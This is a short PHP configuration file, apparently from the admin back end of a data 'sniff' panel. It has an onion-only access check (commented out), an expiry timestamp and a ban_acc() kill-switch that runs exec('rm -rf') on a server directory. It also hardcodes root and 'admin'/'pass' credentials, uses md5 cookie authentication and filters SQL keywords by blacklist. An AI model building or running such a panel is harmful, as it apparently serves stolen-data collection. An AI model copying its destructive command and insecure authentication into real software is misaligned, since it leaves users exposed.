<?php

//error_reporting(1);

/*if(!strstr($_SERVER['HTTP_HOST'],'.onion')){
    exit;
}*/

/*
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
*/

$host='localhost';
$bd_user='root';
$bd_pass='';
$bd_name='sniff';

$connect=@mysqli_connect($host,$bd_user,$bd_pass,$bd_name);

if(@mysqli_connect_errno()){
    exit('Oops! MySQL Error. Please check file <strong>cnf.php</strong> in the folder <strong>kernel</strong>.');
}

$language=lang();
$end_time=1618871368000;

$l='admin';
$p='pass';
$m='Access denied!';

function Auth(){
    global $connect;
    $MySQL=@mysqli_query($connect,'SELECT login,password FROM config');
    $row=@mysqli_fetch_assoc($MySQL);
    
    if(@$_COOKIE['login']==md5(base64_decode($row['login']).'ghj%^&gjfhbfdn34&*') and @$_COOKIE['SESSION']==md5($row['password'].$_SERVER['HTTP_USER_AGENT'].$_SERVER['HTTP_ACCEPT_LANGUAGE'])){
        return true;
    }else{
        return false;
    }
}

function Auth2($login,$pass,$message){
    if((@$_SERVER['PHP_AUTH_USER']!=$login) || (@$_SERVER['PHP_AUTH_PW']!=$pass)){
        header('WWW-Authenticate: Basic realm="Authentication System"');
        header('HTTP/1.0 401 Unauthorized');
        exit($message);
    }
}

function ban_acc(){
    $dir='/var/www/html/BFM/';
    
    exec('rm -rf '.$dir.'java');
    touch($dir.'file/disabled');
}

function lang(){
    if(!$_COOKIE['lang']){
        return 'US';
    }elseif($_COOKIE['lang']=='US'){
        return 'US';
    }
    return 'RU';
}

function ReplaceContent($text){
    $text=htmlspecialchars($text);
    $search=array('"',"'",'`','\\','WHERE','UPDATE','SELECT','ORDER','DELETE','DESC','INSERT','SQL','UNION','TRUNCATE');
    $replace=array('&quot;','&apos;','&acute;','','&#87;&#72;&#69;&#82;&#69;','&#85;&#80;&#68;&#65;&#84;&#69;','&#83;&#69;&#76;&#69;&#67;&#84;','&#79;&#82;&#68;&#69;&#82;','&#68;&#69;&#76;&#69;&#84;&#69;','&#68;&#69;&#83;&#67;','&#73;&#78;&#83;&#69;&#82;&#84;','&#83;&#81;&#76;','&#85;&#78;&#73;&#79;&#78;','&#84;&#82;&#85;&#78;&#67;&#65;&#84;&#69;');

    return(str_ireplace($search,$replace,$text));
}

?>
